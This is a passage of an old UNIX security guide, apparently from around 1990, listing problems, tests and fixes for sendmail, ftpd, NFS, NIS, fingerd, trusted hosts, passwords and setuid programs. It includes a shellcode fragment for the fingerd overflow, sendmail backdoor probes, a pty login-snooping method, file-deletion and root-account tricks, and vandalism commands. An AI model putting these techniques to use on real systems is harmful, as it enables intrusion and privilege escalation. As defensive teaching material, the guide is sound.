reveal the change; and, every program compiled using the subroutine will + include the offending code. + + 13. Password guessing tends to be easy. Run a program that guesses the + login name, the login name spelled backwards, common words and names, + local jargon, or items taken from the GECOS field of the password file. + By 1988, the technology for guessing passwords by trial seems to have + improved greatly. A password guessing program using the dictionary + (`/usr/dict/words') will in a few hours typically turn up dozens of + passwords. + + 14. The classical Trojan horse: user writes a program, such as a game, and + invites everyone to run it. A hidden side effect of the program is to + create a program setuid to the person running the game and located in a + directory known to the owner of the game. The program typically is one + that forks a shell. So the owner of the game gets the ability to assume + the identities of all the people who play the game. + + 15. There are lots of potential problems with carelessly written setuid + programs. `execl()' and `popen()' calls may not execute the intended + program unless the full pathname is specified. + + +Vandalism +========= +A vandal, trickster, or enthusiastic user could: + + 1. Use up all free disk space on a logical drive or use up all inodes. + + 2. Send annoying messages to users at their terminals. + I.e. `cat /usr/dict/words > /dev/console' + + 3. Put on spurious message of the day, replies to gripes, news, etc. + Corrupt manuals with incorrect information. Replace programs with phony + ones. + + 4. Lock terminals. This is especially annoying with a port finder because + eventually the locked terminal gets disconnected, so the next user to be + connected gets an unusable terminal. + + 5. Destroy files or directories, or change their protection codes so that + users can't get to them. + + 6. Fill the system with unproductive processes. Particularly annoying is + the process which keeps spawning new processes and killing old ones so + that it is hard to kill the culprit. + + 7. Changing modes of other users' terminals. In particular, setting speed + to zero, which logs the user out. + + 8. Change the system date/time. Plays havoc with `make' files, + `cron', and `at'. + + + +Network Security +**************** + + "Returned Mail: " + -- + +Networking introduces a lot of new security problems, especially if it +contains single-user workstations. As so often happens, vendors and +developers are quick to offer features and functions and worry about +security later. This section discusses many issues associated with +networking. + + +Network Sniffing +================ + +- Problem +Ethernet hardware allows one to listen to broadcast packets, packets +destined for one's own station, and usually all packets. Thus a +workstation with Ethernet hardware and software is frequently usable as +an "Ethernet monitor". The potential for a mischievous user to +intercept passwords and confidential data is obvious. + ++ Solution +There is no solution to this problem until manufacturers build Ethernet +controllers that cannot monitor all traffic. What we can do that is of +some use is to put workstations on different cables from those +connecting multi-user machines; and keep different classes of +workstations (e.g. administrative) on different cables. The various +cables are to be connected via gateways, not bridges. + +- Problem +Broadband local area networks are worse yet, because everything that is +sent on the cable is broadcast over the entire network. It is not at +all unthinkable that some user could build or modify a modem to monitor +network channels other than the one to which he is authorized access. + ++ Solution +A partial solution to this problem is to keep the RF cable and modems +locked up in cable closets and run only data signals to the users' +stations. This is not possible if the users need access to the RF +cable, as for Television. + + +Electronic Mail +=============== +A few years ago, electronic mail (e-mail) was a new thing that was +mostly used by computer nerds. Today, if mail is broken on our +machines, the secretaries are the first to complain; almost all +departmental communication is done by e-mail rather than by telephone, +memos, or discussions [Neme89]. Unfortunately, electronic mail provides +another cavern for intruders to go spelunking. A couple of flaws were +discovered in recent versions of sendmail, which is a complex +transport agent interfacing mail programs such as `/bin/mailx' and +mail delivery agents like `/usr/lib/uucp/uux'. + +- Problem +There is/was an undocumented feature in `sendmail' which would +allow users at remote sites to obtain a privileged shell. + +* Test + + $ telnet your hostname 25 + Trying 123.123.123.123 ... + Connected to Podunk.Edu. + Escape character is '^]'. + 220 Podunk.Edu Sendmail 4.12/4.7 ready at Thu, 28 May 90 13:28:07 est + wiz + 200 Please pass, oh mighty wizard + quit + +If you get positive feedback such as the example above, you have a major +security hole and should repair it immediately. + ++ Solution +Obtain and/or compile a version of `sendmail' which is equivalent to +the latest Berkeley Sendmail version (Currently 5.65). + +- Problem +The bug exploited by the internet worm used the debug option on the +SMTP (Simple Mail Transfer Protocol) server. This allowed a user to +execute a program on a remote machine. + +* Test + + $ telnet your hostname 25 + Trying 123.123.123.123 ... + Connected to Podunk.Edu. + Escape character is '^]'. + 220 Podunk.Edu Sendmail 4.12/4.7 ready at Thu, 28 May 90 13:28:07 est + debug + 200 Debug set + quit + +If you get positive feedback such as the example above, you may have a +major security hole and should repair it immediately. + ++ Solutions +Obtain and/or compile a version of `sendmail' which is equivalent to +the latest Berkeley Sendmail version (Currently 5.65). + +An alternate solution is to use your systems general purpose debugger and +actually alter the executable. SAVE A COPY OF IT FIRST, IN CASE YOU MESS +UP! This is mildly tricky -- note, some versions of `strings' which we're +going to use to find the offset of the string "debug" in the binary print +out the offsets in octal, not decimal. Run the following shell line to +decide how your version of `strings' works: + + $ /bin/echo 'abcd' | /usr/ucb/strings -o + +Note, make sure the eight control 'G's are preserved in this line. If +this command results in something like: + + 0000008 abcd + +your `strings' command prints out locations in decimal, otherwise it's +octal. The patch script for `sendmail'. NOTE, YOUR OFFSETS MAY VARY!! +This script assumes that your `strings' command prints out the offsets +in decimal. + + $ strings -o -a /usr/lib/sendmail | egrep debug + 0096972 debug + $ adb -w /usr/lib/sendmail + ?m 0 0xffffffff 0 + 0t10$d + radix=10 base ten + 96972?s + 96972:debug + 96972?w 0 + 96972:25701=0 + +If your `strings' command prints out the offsets in octal, change +the line "0t10$d" to "0t8$d". + +- Problem +Remote users are able to write to any non-root owned files in the +system. Target files for such an attack are users `.rhosts' and +other files which could eventually give way to easy access to the host. + +* Test +There is no simple test to perform that will adequately show if your +system has this flaw without showing exactly how to exploit the hole. +Therefore, you should contact your local security guru. + ++ Solution +Obtain and/or compile a version of `sendmail' which is equivalent to +the latest Berkeley Sendmail version (Currently 5.65). + +- Problem +Some systems have a default alias called "decode". This alias is used +to allow users to mail `uuencoded' documents to "decode" for +decoding. It also provided administrators an example of how to set up +an alias which gives the mail to a program instead of a real person. + +* Test + + $ grep 'decode' your alias file + decode: "| uudecode" + ++ Solution +Remove the "decode" alias from the aliases file (`/usr/lib/aliases' +or `/etc/aliases') and rebuild your aliases database (if required). +Refer to your System Administration manual. + + +File Transfer Protocol +====================== + +`Ftp' is the user interface to the ARPANET File Transfer Protocol. It is +used to transfer files from one internet site to another. There are some +security issues that need to be resolved when allowing `ftp' access to your +host. + +- Problem +Reportedly, `ftpd' was allowing users to read and write files with root +privileges. It involves the use of the 'user' command. A password was +demanded but despite giving an incorrect password and seemingly being +refused access, root privileges were obtained. This bug, however, does +assume that the intruder does have access to your computer either through a +normal account or your host supports anonymous `ftp'. + +* Test + +There is no simple test to perform that will adequately show if your system +has this flaw without showing exactly how to exploit the hole. Therefore, +you should contact your local security guru. If your version of `ftpd' was +obtained before December 1988, you probably have this problem. + ++ Solution +Obtain the latest release of the `ftpd' program and install it. + +- Problem +Another problem with older versions of `ftpd' is its implementation of the +anonymous `ftp' facility. The daemon fails to do a `chroot()' call; +therefore, it allows unknown users to read all world readable files. These +files could include `/etc/passwd' which will open up more holes in your +security. + +* Test + + $ ftp your hostname + Connected to Podunk.Edu. + 220 Podunk.Edu FTP server (Version 2 Thu Mar 15 16:06:24 EST 1990) ready. + Name (Podunk.Edu:(joeuser)): anonymous + Password (Podunk.Edu:anonymous): type your name here + 331 Guest login ok, send ident as password. + 230 Guest login ok, access restrictions apply. + ftp> cd /etc + 250 CWD command successful. + ftp> ls -CF + 200 PORT command successful. + 150 Opening ASCII mode data connection for /bin/ls (0 bytes). + grouppasswd + 226 Transfer complete. + 14 bytes received in 0.19 seconds (0.069 Kbytes/s) + ftp> bye + 221 Goodbye. + +If only the two files shown above exist, your anonymous `ftp' +configuration is probably safe. If in doubt, get the latest version. + ++ Solution +Obtain the latest version of `ftpd'. + +- Problem +The Trivial File Transfer Protocol, TFTP, is used on Sun workstations (and +others) to allow diskless hosts to boot from the network. Basically, TFTP +is a stripped-down version of FTP -- there is no user authentication +[Curr90]. Because of the password cracking problem, it is important that +sites on networks not allow `tftp' access to just any file, and not have +the `/etc/passwd' file accessible via anonymous `ftp'. + +* Test + + $ tftp your hostname + tftp> get /etc/motd + Error code 1: File not found + tftp> quit + +If your version does not respond with `File not found' and instead +transfers the file, you should fix or replace your current version of +`tftpd'. + ++ Solution +Most sites can do without `tftp' altogether; where it is needed the tftp +daemon should do a `chroot()' call to a restricted directory. + + +Network File System +=================== +The Network File System (NFS) is designed to allow several hosts to +share files over the network. One of the most common uses of NFS is to +allow diskless workstations to be installed in offices while keeping +all disk storage in a central location [Curr90]. + +- Problem +NFS is not normally distributed with any of it's security features +enabled. This simply means that any host on the Internet or LAN may +access your files via NFS, regardless whether you consider them trusted +hosts or not. + ++ Solution +Fortunately, NFS can be made secure by correctly configuring +`/etc/exports' or by using Sun Microsystems Secure NFS. Secure NFS +was introduced in SunOS 4.0 and uses a public-key encryption technique +to ensure authorized access. + +- Problem +Over NFS, any device which you can open and write to can be truncated +into another one. That is it is possible to open, for example, the +device /dev/null and use the ftruncate(2) and change it's major and +minor numbers so that it becomes another device (like /dev/mem for +example). This creates major security problems because it allows any +non-privileged user access to and data stored on any device or even +write access to kernal memory. + +The root of the problem if that the vnode ops do not distinguish +between open regular files and device types. Thus the system call may +be called on any arbitrary device. the new major and minor number for +the device are based on what is on the stack. That is that the device +characteristics of the vnode are modified instead of the block pointers +to the file are what gets zero'd. + +Here is an example of turning dev null into another console device +[trunc is a C program that opens and calls ftruncate on it's first argument] + + % ls -lg /dev/null /dev/console + crwxrwxrwx 1 root staff 3, 2 Sep 17 02:07 /dev/null + crw--w---- 1 root wheel 0, 0 Sep 16 20:07 /dev/console + + % trunc /dev/null 0 + + % ls -lg /dev/null /dev/console + crwxrwxrwx 1 root staff 0, 0 Sep 17 02:07 /dev/null + crw--w---- 1 root wheel 0, 0 Sep 16 20:07 /dev/console + ++ Solution +---------- +NOTE: This has been fixed in SunOS 4.0.3 and SunOS 386i-4.0.2. The +Sun Bug Numbers are 1009825, and 1019206 respectively. + +- Problem +In a nutshell, as root@client, One can mknod devices on a server's file +system if it's mounted r/w. I can easily find a world-writable directory +to put it in, because I can become any user/group who can write something +anywhere, even if "nobody" can't, and make this new directory +world-writable. + +I choose major/minor numbers on the device so that they make sense on the +server, not the client, although it is on the client that I'm making it. +I then change the mode of the device 666 and go back over to the server +and wreak havoc. Two good candidates are /dev/mem or any disk device. + ++ Solution +Export file systems read-only. This is obviously unacceptable in most +environments, so it is best if you contact your vendor for a fix. + +A contact at Sun has unofficially reported the following: + + This appears to be fixed in SunOS 4.1.1 (I don't know whether it + worked in previous releases or not). The mknod (as root in a writable + nfs mounted directory) fails with ``mknod: not owner.'' I assume that + the nfs mknod request requires the filesystem to be mounted with root + mapped to 0 for the request to work. + += Discussion +Sun Microsystems has included security features that allow the system to +operate at higher security levels. It was patterned after the National +Computer Security Center's C2 classification. These features are +optional at installation time and include: + + * Audit trails + * Shadow password file + * Data Encryption Standard (DES) capability + * Secure NFS + + +Trusted Hosts +============= +The concept of a "trusted host" is one of the more convenient features of +the Berkeley UNIX networking software suite. This feature allows a host or +user to be announced as trusted. Those who are trusted are permitted to do +remote logins and remote commands without the requirement of a password. +This ability is both a security feature as well as a security hole. + + +hosts.equiv +----------- + +- Problem +`Hosts.equiv' resides in directory `/etc' and contains a list of trusted +hosts. When an `rlogin' or `rsh' request from such a host is made, and the +initiator of the request is in `/etc/passwd', then no further validity +checking is done. That is, `rlogin' does not prompt for a password, and +`rsh' completes successfully. So a remote user is "equivalenced" to a +local user with the same user ID when the remote user is in `hosts.equiv'. + ++ Solution +`Hosts.equiv' should be used with care. ONLY hosts that are secure and +trusted should be allowed to appear in this file. Nonlocal hosts should +never be trusted. Also, if there are any machines that are located in +non-secure areas, you should not trust these hosts. + +- Problem +On Sun systems, `hosts.equiv' is controlled by the Network Information +Services (NIS), formerly known as Yellow Pages. As distributed, the +default `hosts.equiv' contains: + + + + +This tells the system that every known host should be considered a trusted +host. This is certainly incorrect and is a major security threat. + ++ Solution +A correctly configured `hosts.equiv' should only contain specific host +names or carefully constructed netgroup. An example of a properly +configured `hosts.equiv': + + ws1.cs.podunk.edu + ws2.cs.podunk.edu + +- Problem +Under SCO UNIX, if you 'rlogin' to the system from a trusted host +(one in /etc/hosts.equiv), you can obtain root privileges without +a password if your home directory does not exist. It is suspected, +though not confirmed, that this is true for any reason the automatic +login is forced to fail. + +Usually rlogind logs the user in directly to his home directory. But +if the home directory does not exist it will fail ("Cannot chdir to ..."), +and gives a "login:". However whatever is typed here, including root, will +succeed without a "password:" required. + ++ Solution +Contact your vendor, SCO, for the appropriate fix. + +.rhosts +------- + +* Problem +The `.rhosts' file has the same format as `hosts.equiv'. When joeuser +executes `rlogin' or `rsh', the `.rhosts' file from joeuser's home +directory is conceptually concatenated onto the end of `hosts.equiv' for +permission checking. It is also possible to have two entries (separated by +a single space) on a line of these files. In this case, if the remote host +is equivalenced by the first entry, then the user named by the second entry +is allowed to log in. An example of this is: + + ws1.cs.podunk.edu joeuser + ++ Solution +Inform users of the proper use of the `.rhosts' facility and insure +that only secure hosts are ever listed. + += Discussion +It has been said that "The only secure way to manage `.rhosts' is to +completely disallow them on the system [Curr90]." I find this comment to +be totally unfounded. It has been shown that the proper use of the +`.rhosts' facility causes very few security incidents and in contrast helps +eliminate the network "sniffing" problem. + + +.netrc +------ + +* Problem +The `.netrc' file contains data for logging in to a remote host over the +network for file transfers by `ftp'. This file resides in the user's home +directory on the machine initiating the file transfer. It contains +passwords in plaintext. An example would be: + + machine ws1.cs.podunk.edu login joeuser password I'mw/7CG + +* Solution +`.Netrc' files should never be used. The only legitimate exception to this +is for using anonymous ftp. This would allow you to connect to an +anonymous ftp session where the password is only used for identification. +The typical "netters" `.netrc' would look like this: + + machine uunet.uu.net login anonymous password joeuser@podunk.edu + machine prep.ai.mit.edu login anonymous password joeuser@podunk.edu + machine tut.cis.ohio-state.edu login anonymous password joeuser@podunk.edu + machine titan.rice.edu login anonymous password joeuser@podunk.edu + machine berkeley.edu login anonymous password joeuser@podunk.edu + machine expo.lcs.mit.edu login anonymous password joeuser@podunk.edu + machine hq.af.mil login anonymous password joeuser@podunk.edu + + +Other Network Services +====================== + +RPC, Remote Procedure Call +-------------------------- + +- Problem +There is a security problem with most RPC portmapper where anyuser +can delete services. This is done by connecting to the RPC portmapper and +simply requesting the service be delete. Under SunOS 4.1 and greater this +but be done from the localhost, but on SunOS 4.0.3 or less, and on other +vendor platforms that use the portmapper, this can be done remotly! + +The problems this can cause range from deleting services such as rusersd +rstatd to (fairly harmless) to effectivly disabling yp or NFS services. + +Under SunOS 4.1 a console warning/error message is generated and the +request is denied if the attack is remote but on other systems the attack +is clean (meaning there are no trace logs of message to later trace!). + ++ Solution +Contact the vendor for a bug fix. + + +Network Information Services (NIS) +---------------------------------- +Network Information Services, formerly known as Yellow Pages, allows many +hosts to share password, group, and other administrative files via the +network. Unfortunately, NIS also contains a few potential security holes. + ++ Problem +Hosts using NIS have a special entry in their `/etc/passwd' file which lets +many software packages and utilities know that they need to contact the NIS +server. + + +::0:0::: + +If for some unknown reason NIS is not running, this entry now means that +there is a user named `"+"' which has NO password and has the user ID of +zero (which causes him to be super-user). + +* Test + + $ egrep '^\+::' /etc/passwd + +::0:0::: + +This quick test found an occurance which means that if you aren't currently +running NIS, you have a root login without a password. + ++ Solution +Keep a close eye on NIS. Enough said. + +- Problem +There exists a bug in pre-4.0.3 versions of `yppasswdd'. `Yppasswdd(8)' is +an optionally run daemon that lets a user change his password over the LAN +using Sun's Yellow Pages. The user communicates with the daemon running on +the YP server via the client command `yppasswd(1)' which calls the system +function `yppasswd(3)'. `Yppasswd(3)' just sends the user's name, old +unencrypted password, and a new encrypted password to the YP server via a +reserved port. `Ypasswdd(8)' looks up the user's name and verifies the old +password, no question asked. But unfortunately, the new encrypted password +is not checked for the occurrence of bad characters such as `:' and `\n', +and has no limitation on its length which also causes over-long password +entries and results in a similar `chfn' attack. + ++ Solution +Several things can be done about this. 1) Upgrade the operating system. +2) Don't run Yellow Pages. 3) If you have source code, fix the bug and +recompile `yppasswdd(8)'. + +- Problem +When a user runs yppasswd to change the password on an account in +the Yellow Pages, the YP passwd map is recreated with mode 666 +(world writable). This is a serious security problem. + ++ Solution +Add commands to /var/yp/Makefile on the YP master server to set +the mode on the /var/yp/DOMAINNAME files for the maps passwd.byname, +passwd.byuid, and publickey.byname: + + chmod 644 $(YPDBDIR)/$(DOM)/MAP.pag $(YPDBDIR)/$(DOM)/MAP.dir;\ + +Substitute each map name for "MAP" in the above command. Another way +is to set a umask for each map. For example: + + passwd.time: $(DIR)/passwd + -@if [ -f $(DIR)/passwd ]; then \ + umask 022 ; \ + awk 'BEGIN { FS=":"; OFS="\t"; } /^[a-zA-Z0-9_]/ { ... + ... + +- Problem +NIS is more than willing to give out the administrative files which it so +kindly keeps available. The only catch to this is requests must be made by +root. With the number of PC's and single-user workstations around, this is +certainly not difficult. + ++ Solution +The only solution to this is NOT to run NIS. Hardly a solution, but +certainly a fact. + +Fingerd +------- +`Fingerd' is a daemon that provides remote hosts information about users. +The information can include: who is currently logged in, a user's full +name, and a user's plan/project. + +- Problem +The standard `fingerd' on Berkeley based systems calls a function `gets()' +to get an input line for parsing. Because `gets()' does not check the +buffer overflow, a shell process will be run by `fingerd' if some specific +input is fed to the daemon. As an example, here is the Sun assembler code +to feed your friendly daemon: + + ! First send 340 0x01's to the daemon -- address 0x0efffbe0 + ! Next is this 64 byte pattern + ! + pea0x69696901:l + subl#0x1010101,sp@ + movlsp,d1 + pea0x1010101:l + subl#0x1010101,sp@ + movld1,sp@- + movlsp,d1 + pea0x30746901:l + subl#0x1010101,sp@ + pea0x2f62696e:l + movlsp,d6 + movld1,sp@- + movld1,sp@- + movld6,sp@- + movld6,sp@- + pea0x203b:w ! Really -=> pea 0x3b:w + trap#0 + ! Follow up by overwriting the return address + +This bug was exploited by the December 1988 Internet worm on Vax systems. +Besides giving unauthorized access, it also gives root privileges because +`fingerd' runs as root. + +* Test +If the version of `fingerd' you are running is older than November 1988, +you probably need to obtain a newer version. + +There is no simple test to perform that will adequately show if your system +has this flaw without showing exactly how to exploit the hole. Therefore, +you should contact your local security guru. + ++ Solution +Either do not provide this service or obtain a more recent version of the +`fingerd' software (Best answer). + + +Rlogind/Telnetd +--------------- + +These network services allow remote connections to be made to a host. + +- Problem +Login information can be snooped from rlogin and telnet logins. It +is primarily in BSD-derived systems, but others may be at risk also. +It has been confirmed in SunOS 4.0.3, SunOS 4.1, and Ultrix 4.0. +NOTE: Although telnetd/rlogind are networking programs, the bug +can only be used by local users. + +* Test +Write a C program that opens a pty slave and blocks until the master +side is opened by a telnet (or rlogin) daemon. Read the login name +and stuff it back using the TIOCSTI icotl() call, and wait until +'/bin/login' has read it. Do the same with password. You now have +the users login name and password. + ++ Solution +While waiting to obtain an official fix from your vendor, write a program +that opens, at regular intervals, the first five (or more) free ptys and +immediately closes them. This will generally cause snooper programs to +terminate and logging useless information. + +The SunOS Patch ID is 100125-03. + + +Modems and Terminal Servers +=========================== + +- Problem +Suppose the super-user is using the system by telephone, port finder, +terminal switch, or Annex box and gets cut off. Later an ordinary user +gets connected to the same port and finds he is in the super-user account. +Systems are supposed to prevent this, but do they? I have personally seen +this happen during a power surge. + ++ Solutions +Make sure that modems and such hang up properly, and your system correctly +logs off disconnected users. + + +Account Security +**************** + + "A password should be like a toothbrush: Use it everyday; + change it regularly; and DON'T share it with friends." +-- USENET + +Compromising someone's personal account is one of the easiest ways for a +cracker to penetrate your system. Easy to guess passwords, group and guest +accounts, old and unused accounts are the most frequently traveled paths of +intruders. These roads must be closed! + + +Passwords +========= +Passwords are the most vital part of UNIX system security. If an intruder +can get a user's password, he has half the battle won already. If he +manages to get the password of a system administrator, three quarters of +the battle is won. Obtaining the super-users password ends the war, and +the intruder wins. For this reason, selecting a secure password is +extremely important. + +- Problem +The standard UNIX `passwd' utility places few restrictions on what a user +may use as a password. + ++ Solutions +Write a password policy, educate users about the new policy, and enforce it +strictly. + +Acquire a new version of `passwd' that gives administrators tighter control +over the types of passwords users may select. + +- Problem +Password files, on occassion, become corrupted. This can be due to a fluke +of nature or through user intervention. + ++ Solution +Periodically check the password and group files for improper entries or +defective lines. Save the password file every night and compare with +previous day's file, then examine `diff' listings for bogus accounts. + + +Guest Accounts +============== + +- Problem +Guest accounts present still another security hole. By their nature, +these accounts are rarely used, and are always used by people who should +only have access to the machine for the short period of time they are +guests [Curr90]. + ++ Solution +The most secure way to handle guest accounts is to install them on an +as-needed basis, and delete them as soon as the people using them leave. +Guest accounts should never be given simple passwords such as "guest" or +"visitor," and should never be allowed to remain in the password file when +they are not being used [Curr90]. + + +Group Accounts +============== + +A group account is a single account shared by several people. For +example, all of the programmers working on project xyzzy. + +- Problem +Since users should not share passwords (See Password Policies for more +information) -- the concept of a group account already violates the +recommended policy. + ++ Solution + +Give each user requiring access to the system an account and put each of +the members into a group (in `/etc/group'). For example: Bart, Lisa, and +Maggie are working on a project. Give each of them normal user accounts to +the system. Create a new group in `/etc/group'. + + simpsons:*:800:bart,lisa,maggie + +The groupname is "simpsons", the group ID is "800", and the members are +"bart, lisa, and maggie". Simple, yet so much more secure. Now for the +three members of "simpsons" to share files, they just need to make sure the +files they want to share are accessible by the group "simpsons". More +information can be obtained by reading your systems documentation +concerning groups. + + +File System Security +******************** + +"No such file or directory" +-- ls -l / + +The UNIX filesystem is hierarchical, with files organized into directories, +and filesystems, in most cases, restricted to a single physical hardware +device such as a disk drive. Filesystems typically include facilities for +naming files and for controlling access to files [McKu89]. Since the +filesystem contains the most important parts of your operating system, it +should be made secure. That tends to be a difficult task. While most of +these have been fixed, new variants of them keep happening over and over in +new software so they are of educational value. + + +Set UID Programs +================ + +When a program is executed, the process created from the program is +assigned four numbers that indicate who that process belongs to. These +are: + + * real UID + * effective UID + * real GID + * effective GID + +Normally, the effective UID and GID are the same as the real. The +effective UID and GID are used by UNIX to determine a process' permissions. +If the effective UID of a process is the same as the UID of the owner of a +file, then that process has the owner's access permissions to the file; +otherwise, if the effective GID of a process matches the GID of the group +associated with a file, then that process has the group's access +permissions; otherwise, a process is granted the access permissions of +others. Here is the example in Pseudo-code: + + if effective UID matches UID of file + then owner access + else if effective GID matches GID of file + then group access + else + other access + +Normally, whenever you execute a program, the effective and real UIDs and +GIDs are set to your UID and GID, respectively. So if that process wants +to read a particular file, then you must have read access to that file + +Setting the SUID permission on a program changes this behavior. When this +permission is set, all processes created from that program will have the +effective UID of the program's owner, and not yours. Because file access +permissions are determined from the effective UID and not the real, the +process from a SUID program has the same access permissions as the owner of +that program, no matter who executes the program [Wood79]. + +at/cron +------- +Commands to automatically run batch files. + +- Problem +Program `/usr/lib/atrun' runs privileged by `cron'. Directory +`/usr/spool/at' was writable by everybody. User went into `/usr/spool/at', +ran a setuid root program, and then gave it a quit, creating a `core' file +owned by root, then linked that file to have a name like a genuine at +submission. `Atrun' takes the uid from the owner of the submission file, +so when the owner is root it runs privileged for the user. + +- Problem +Next variation on `atrun': `/usr/spool/mail' directory was writable by +everybody. Submit a program requiring privileges to `atrun' as self. Then +link it to `/usr/spool/mail/root'. Then `mail' something to root which +changes ownership of `/usr/spool/mail/root' to root, hence again fooling +`atrun' into running the submission privileged. + +- Problem +`/usr/lib/crontab' was owned by bin. man was setuid bin. Users were able +to get a shell setuid bin. This enabled them to modify `crontab', and +hence do anything. + +- Problem +Next variation on `cron'. Link `/usr/lib/crontab' to +`/usr/spool/mail/self'. Then send mail to self; `mail' changes the +ownership of `crontab' to self. Then edit `crontab' to remove the mail and +add command to give privileges to self. + ++ SOLUTION +Since these flaws are in older versions of UNIX, you should consider +upgrading the operating system or manually fixing the code and recompile. + + +chfn +---- +A program to allow a user to update his "finger" information. + +- Problem +A bug in `passwd/chfn/chsh' is exploited when the length of a password +entry in `/etc/passwd' is longer than BUFSIZ. A user can cause the length +of his/her password entry to be longer than BUFSIZ with the `chfn' command +and finally a super-user account like: + + xyz::0:0::: + +to be created in `/etc/passwd' + ++ Solution +Acquire the latest release of `chfn', compile, and install. + + +finger +------ +A program to report user information. + +- Problem +Another `finger' problem involves `fingerd' which normally runs as root. +Therefore, if a user's `.project' or `.plan' file is symbolically linked to +another file which is not readable by an ordinary user, such as +`/usr/local/adm/bad-logins', `fingerd' can tell the contents of the file. + +* Test + + $ ln -s some unreadable file .plan + $ finger self@your hostname + [Podunk.Edu] + Login name: joeuser (messages off)In real life: Joe E. User + Directory: /home/joeuser Shell: /bin/sh + On since Apr 1 10:05:51 on ttyp4 from ws1.cs.podunk.edu + No unread mail + Plan: + You should not be able to read this file. + ... + +* Solution +Acquire the latest release of `finger', compile, and install. + +man +--- +The UNIX on-line manual reading system. + +- Problem +Berkeley `man' program was owned by user manuals and setuid. This was an +attempt to allow it to create the nroff-ed copies in its own directory +without allowing all users to write into that directory. User was able to +get a shell owned by user manuals. Using this, he was able to over-write +the `man' program with one which did his side effects and then called the +real one. Then he waited for a super user to run `man'. The side effect +of his program was to replace `/bin/sh' with one of his own writing. He +had cleverly cut the size of the error messages so that his own `man' +program was exactly the same size as the original. When super user +executed `man' it would execute the file `/tmp/sh-' which happens to be a +file name used by `man'. The intruder had previously stored a program as +`/tmp/sh-' which when executed by super user would establish a setuid root +shell. This was detected by setuid messages on the system console and also +because there was a bug somewhere in the whole scheme that would lock up +the system in a loop creating the setuid root shell over and over. + +- Problem +The Berkeley `man' program was setuid bin and calls `more', a pager. +`More' allowed the user to get a shell as bin and thus to write files owned +by bin outside the manuals directory. Moral: setuid-anything can be as +dangerous as setuid-root. + +* Solution +Do not allow the `man' program to be set UID. + + +rpc.rwalld +---------- +'rwalld' is a server that handles 'rwall' and 'shutdown' request. It is +implemented by calling 'wall' to all the appropriate network machines. +The rwalld daemon is normally invoked by 'inetd'. + +- Problem +'/etc/utmp' is world writable; thus, can be written to by ANY user or +process. 'rpc.rwalld' utilizes the information in '/etc/utmp' to +determine what terminals to display information on. Since 'rpc.rwalld' +is started by inetd (thus run by root), 'wall' does not check to make +sure that the file it is writing to is a terminal. A rather clever +user can rewrite '/etc/utmp' in such a way to have 'wall' write ANY +information the user wants into '/etc/passwd' or any other file. If you +still have an insecure 'tftp' enabled, this bug will allow not only +local, but remote users to gain unauthorized root access. + +This same problem can be exploited using comsat and mail instead of +rcp.rwalld and rwall. + +* Test +Determine if your '/etc/utmp' is world writable. + + $ ls -l /etc/utmp + -rw-rw-rw- 1 root 216 Mar 29 21:33 /etc/utmp + ++ Solution +Turn off 'rpc.rwalld' and contact your vendor for a fix. Later releases +of SunOS have this problem corrected while leaving '/etc/utmp' world +writable. If in doubt, turn it off until your vendor ensures you that +the problem has been corrected. + + +scripts +------- +The shell programming language. + +- Problem +There are several problems with having setuid shell scripts. There are +three basic approaches which I know of to break these scripts: + +Environment Variables +..................... + +These methods involve setting values for the PATH and/or IFS variables. +PATH is easy to get around either by explicitly setting it at the start of +the script or by specifying the full paths to the commands. IFS applies +only to `sh' scripts; normally, it only contains space, tab, and newline +but, a script could be invoked with the character '/' in IFS; then the +command `/bin/mv' would be interpreted as the command `bin' with the +argument `mv'. This also applies to the `system()' call from C which +invokes a Bourne shell. The workaround for IFS is to reset it to the +appropriate value at the start of the script. Including assignments are +interpreted before the input is segmented. + +rc files +........ + +For some reason, when `csh' is invoked suid, it reads the `.cshrc' file +belonging to the real user rather than the uid it is running as. Obviously +the user can put as many malicious commands in there as he likes. Thus it +is necessary to invoke `csh' with the `-f' option to prevent it from +reading `.cshrc'. + +Symbolic links +.............. + +When an interpreter script is invoked via `execve()' the interpreter is +invoked by tagging the script name onto the end of the `#!' line at the +start of the script. The first idea is to make the script name look like +another argument of which the most useful is `-i'. This can be done by +creating a symbolic link to the real script. This does not apply to `csh', +which will not run suid unless invoked with the `-b' option which +terminates option processing. The fix with `sh' is to give the argument +`-' which has the same effect. The really nasty problem, which has no easy +fix, is that it is possible after invoking the script through symbolic link +to make that symbolic point to a different file before the interpreter +begins to read commands. The timing on this is important in order for the +method to work, but is not difficult to achieve. + ++ Solution +DO NOT allow set UID shell scripts on the system. + + +sendmail +-------- +A mailer independent Email handling subsystem. + +- Problem +4.3BSD `sendmail' (prior to 5.61) runs setuid root and allows a +user-supplied file of addresses with the `:include:' syntax on the command +line. It fails to check where the user has permission to access the file +to be included, so intruders were able to use `sendmail' to read any file +in the system. + +- Problem +A bug connected to the `-C' option which causes an alternative +configuration file to be used. If the file is a protected file which is +actually not a send mail configuration file, `sendmail' will print out some +contents of the file as an error message. + +- Problem +Another bug involves the `-q' and `-oQ' options and causes any +file to be deleted. For example, if the qf file looks like this: + + P28 + T599831504 + Dfilename + Suser + Ruser + H?P?return-path: + H?F?from: user (User Name) + H?x?full-name: User Name + HTo: user + Hsubject: Gotcha + +after the command `sendmail -q -oQ' is issued, file `filename' +will be deleted and its content will be mailed to user. + ++ Solution +Obtain the latest version of sendmail. + +- Problem +When delivering to files and programs, `sendmail' does not do an +`initgroups(3)' after forking on final delivery. As a result, the sender's +group list remains in effect throughout this stage. This is particularly +serious when root is sending the mail since a program executed out of a +`.forward' file gains interesting privileges like `wheel' and `kmem'. A +related hole can be broken down into a "problem" and an "aggravation". The +"problem" is that queued local mail no longer has the original recipient's +uid associated with it. Control files only store a list of exploded +recipients (i.e. users, files and programs) -- one per line -- each +prefaced with an `R'. So, after an address resolves to the local machine +and has undergone alias and ".forward" expansion, if the letter happens to +get queued, on the succeeding queue run sendmail doesnt know who to run the +final delivery as. The "aggravation" is that, when doing this final +delivery of queued local mail, sendmail will `setuid()' itself to +the sender's uid if it is available; in general, the sender's uid will be +used when the sender is on the local machine. As a result, a user can run a +program as anyone who sends them mail from the local machine. There is +also an added "complication"; the default uid and gid are also set to the +sender when delivering mail! Since the default uid and gid are only used +when calling `setuid()' and `setgid()' (to reset the uid/gid before doing +final delivery), these variables should never be set to the sender. + ++ Solution +This problem will be fixed in the next version of Berkeley sendmail. +Patches can be obtained from your local UNIX guru. + + +Set GID Programs +================ + +mail +---- + +- Problem +`Mail' and `mailx' are set GID to the group `mail'. There are useful +options to these utilities that will allow you to read anyones mail. The +use of other features in the `mail' program can allow the user to spawn a +shell with the full permissions of the group 